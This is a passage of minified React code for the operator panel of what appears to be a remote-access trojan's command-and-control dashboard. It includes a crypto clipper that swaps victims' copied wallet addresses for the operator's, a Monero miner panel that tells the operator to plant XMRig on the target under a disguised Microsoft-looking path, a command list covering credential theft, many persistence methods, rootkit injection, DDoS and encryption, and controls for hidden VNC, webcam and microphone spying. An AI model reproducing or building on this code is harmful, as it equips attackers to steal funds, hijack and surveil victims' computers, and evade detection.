Me(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,p]),v=m.useCallback(async()=>{if(!p){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Me(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Me(e,{command:i?"clipper_stop":"clipper_start"}),s(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,p]);return a.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&a.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg + ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),a.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),a.jsxs("button",{onClick:v,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors + disabled:opacity-30 disabled:cursor-not-allowed + ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),a.jsx("button",{onClick:y,disabled:o||p||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),a.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:dV.map(({key:b,label:w,placeholder:j,color:N})=>a.jsxs("div",{className:"space-y-1",children:[a.jsx("label",{className:`text-xs font-semibold ${N}`,children:w}),a.jsx("input",{type:"text",value:n[b],onChange:k=>x(b,k.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text + placeholder-zerin-text-muted + focus:outline-none focus:ring-1 transition-all + ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&a.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),a.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[a.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),a.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),a.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),a.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),a.jsx("li",{children:"Config can be updated while running"})]})]})]})}const B2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function pV({agentId:e,agentStatus:t}){const[n,r]=m.useState(B2[0]),[i,s]=m.useState(""),[o,l]=m.useState(""),[c,u]=m.useState(50),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),y=m.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(S,O)=>{h({text:S,type:O}),setTimeout(()=>h(null),5e3)};m.useEffect(()=>{if(!e)return;const S=async()=>{try{const O=await Xn(e),A=(O.tasks??[]).filter(T=>T.command==="miner_status").sort((T,P)=>new Date(P.created_at).getTime()-new Date(T.created_at).getTime());if(A.length>0){const T=A[0],P=(O.results??[]).find(D=>D.task_id===T.id);if(P!=null&&P.output)try{const D=JSON.parse(P.output);g(D)}catch{}}}catch{}};return S(),y.current=setInterval(S,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Me(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Me(e,{command:"miner_status"})}catch{}},3e3)}catch(S){w(S instanceof Error?S.message:"Failed to start","err")}finally{f(!1)}},N=async()=>{f(!0);try{await Me(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to stop","err")}finally{f(!1)}},k=async()=>{try{await Me(e,{command:"miner_status"}),w("Status request sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to query status","err")}},z=S=>{const O=Math.floor(S/3600),A=Math.floor(S%3600/60),T=Math.floor(S%60);return O>0?`${O}h ${A}m ${T}s`:A>0?`${A}m ${T}s`:`${T}s`};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),b&&x&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),a.jsx("button",{onClick:k,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),a.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[a.jsx(Ca,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),a.jsx(Ca,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),a.jsx(Ca,{label:"Uptime",value:x.uptime!=null?z(x.uptime):"-"}),a.jsx(Ca,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&a.jsx("div",{className:"px-4 pb-3",children:a.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),a.jsx("select",{value:n,onChange:S=>r(S.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:B2.map(S=>a.jsx("option",{value:S,children:S},S))})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),a.jsx("input",{type:"text",value:i,onChange:S=>s(S.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),a.jsx("input",{type:"text",value:o,onChange:S=>l(S.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:S=>u(Number(S.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"10%"}),a.jsx("span",{children:"25%"}),a.jsx("span",{children:"50%"}),a.jsx("span",{children:"75%"}),a.jsx("span",{children:"100%"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:b?a.jsxs("button",{onClick:N,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):a.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),a.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:a.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",a.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function Ca({label:e,value:t,valueClass:n}){return a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[a.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const F2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],hV={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},Am=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function xV(){const{id:e}=il(),t=xr(),[n,r]=Cx(),[i,s]=m.useState(null),[o,l]=m.useState([]),[c,u]=m.useState([]),[d,f]=m.useState(!0),[p,h]=m.useState(""),[x,g]=m.useState(""),[y,v]=m.useState(!1),[b,w]=m.useState(!1),[j,N]=m.useState(()=>{const $=n.get("tab");return $&&Am.includes($)?$:"overview"}),[k,z]=m.useState(()=>{const $=n.get("tab"),fe=new Set(["overview"]);return $&&Am.includes($)&&fe.add($),fe}),[S,O]=m.useState(null),[A,T]=m.useState(!0),[P,D]=m.useState(!1),[G,R]=m.useState(null),[K,_]=m.useState(new Set),[M,F]=m.useState(()=>n.get("auto")==="1"),[U,V]=m.useState(null),[Z,ae]=m.useState(-1),[ue,be]=m.useState(!1),ye=m.useRef(null);m.useEffect(()=>{z($=>{if($.has(j))return $;const fe=new Set($);return fe.add(j),fe})},[j]),m.useEffect(()=>{z(new Set(["overview"]))},[e]),m.useEffect(()=>{const $=n.get("tab");$&&Am.includes($)&&$!==j&&N($)},[n]);const q=$=>{N($),$==="overview"?n.delete("tab"):n.set("tab",$),r(n,{replace:!0})},te=m.useCallback(async()=>{if(e)try{const $=await ZE(e);s($),h("");try{const fe=await Xn(e);l(fe.tasks??[]),u(fe.results??[])}catch{l([]),u([])}}catch($){s(null);const fe=$ instanceof Error&&"status"in $?$.status:"network";h($ instanceof Error?`${$.message} (${fe})`:String($))}finally{f(!1)}},[e]);m.useEffect(()=>{te();const $=setInterval(te,5e3);return()=>clearInterval($)},[te]),m.useEffect(()=>{if(!e)return;let $=!0;const fe=async()=>{try{const H=await m6(e);$&&V(H)}catch{$&&V(null)}};fe();const ve=setInterval(fe,3e3);return()=>{$=!1,clearInterval(ve)}},[e]),m.useEffect(()=>{if(!S)return;const $=fe=>{fe.key==="Escape"&&O(null)};return window.addEventListener("keydown",$),()=>window.removeEventListener("keydown",$)},[S]);const C=m.useMemo(()=>[...o].sort(($,fe)=>new Date($.created_at).getTime()-new Date(fe.created_at).getTime()),[o]),Y=5e3,ne=m.useMemo(()=>{var fe;const $=[];for(const ve of C){const H=(fe=ve.args)!=null&&fe.length?" "+ve.args.join(" "):"";$.push({type:"command",content:`${ve.command}${H}`,timestamp:ve.created_at});const se=c.find(W=>W.task_id===ve.id);se?(se.error&&$.push({type:"error",content:se.error,timestamp:se.completed_at}),se.output&&$.push({type:"output",content:se.output,timestamp:se.completed_at})):ve.status==="queued"||ve.status==="sent"?$.push({type:"system",content:`[${ve.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):ve.status==="timeout"&&$.push({type:"error",content:"[Task timed out]"})}if($.length>Y){const ve=$.slice($.length-Y);return ve.unshift({type:"system",content:`[Output truncated: showing last ${Y.toLocaleString()} of ${$.length.toLocaleString()} lines]`}),ve}return $},[C,c]),B=m.useMemo(()=>{const $=[];for(const fe of C){if(fe.command!=="screenshot")continue;const ve=c.find(H=>H.task_id===fe.id);if(ve!=null&&ve.data){const H=m_(ve.data)?f_(ve.data):`data:image/png;base64,${ve.data}`;$.push({taskId:fe.id,timestamp:ve.completed_at,dataUrl:H})}}return $},[C,c]),le=x?F2.filter($=>$.startsWith(x.split(" ")[0])&&$!==x.split(" ")[0]):F2;async function we($){var se;if($.preventDefault(),!e||!x.trim())return;const fe=x.trim().split(/\s+/),ve=fe[0],H=fe.slice(1);v(!0),w(!1);try{await Me(e,{command:ve,args:H}),g(""),R(null),setTimeout(te,500)}catch(W){R(`[SEND FAILED] ${W instanceof Error?W.message:"Unknown error"}`)}finally{v(!1),(se=ye.current)==null||se.focus()}}function Ne($){var fe;g($+" "),w(!1),(fe=ye.current)==null||fe.focus()}if(d)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"flex flex-col items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),p&&a.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:p}),a.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent + hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-4 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ae=i.hostname||"unknown";return a.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim + hover:text-zerin-accent transition-colors px-2 py-1 + hover:bg-zerin-accent-muted`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),a.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ae}),a.jsx(xd,{status:i.status,size:"md",showLabel:!0}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:no(i.id)}),i.elevated&&a.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&a.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[a.jsxs("button",{onClick:async()=>{try{await Ex(i.id);const $=st(),fe=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),a.jsxs("button",{onClick:async()=>{try{await Pj(i.id);const $=st(),fe=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),a.jsxs("div",{className:"relative",children:[a.jsxs("button",{onClick:()=>be($=>!$),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",a.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ue&&a.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[a.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),a.jsxs("select",{value:Z,onChange:$=>ae(Number($.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[a.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map($=>a.jsxs("option",{value:$,children:["Camera ",$]},$))]}),a.jsx("button",{onClick:async()=>{be(!1);try{await Ej(i.id,Z);const $=st(),fe=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),a.jsxs("button",{onClick:async()=>{try{await _j(i.id);const $=st(),fe=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(fe&&$){const ve=H=>{var se;((se=H.data)==null?void 0:se.type)==="zerin_auth_request"&&H.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:$},window.location.origin),window.removeEventListener("message",ve))};window.addEventListener("message",ve)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),a.jsxs("button",{onClick:async()=>{try{await Me(i.id,{command:"screenshot"}),q("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),a.jsxs("button",{onClick:()=>D(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),a.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[a.jsx(Nn,{label:"Overview",active:j==="overview",onClick:()=>q("overview")}),a.jsx(Nn,{label:"Screenshots",active:j==="screenshots",onClick:()=>q("screenshots"),badge:B.length>0?B.length:void 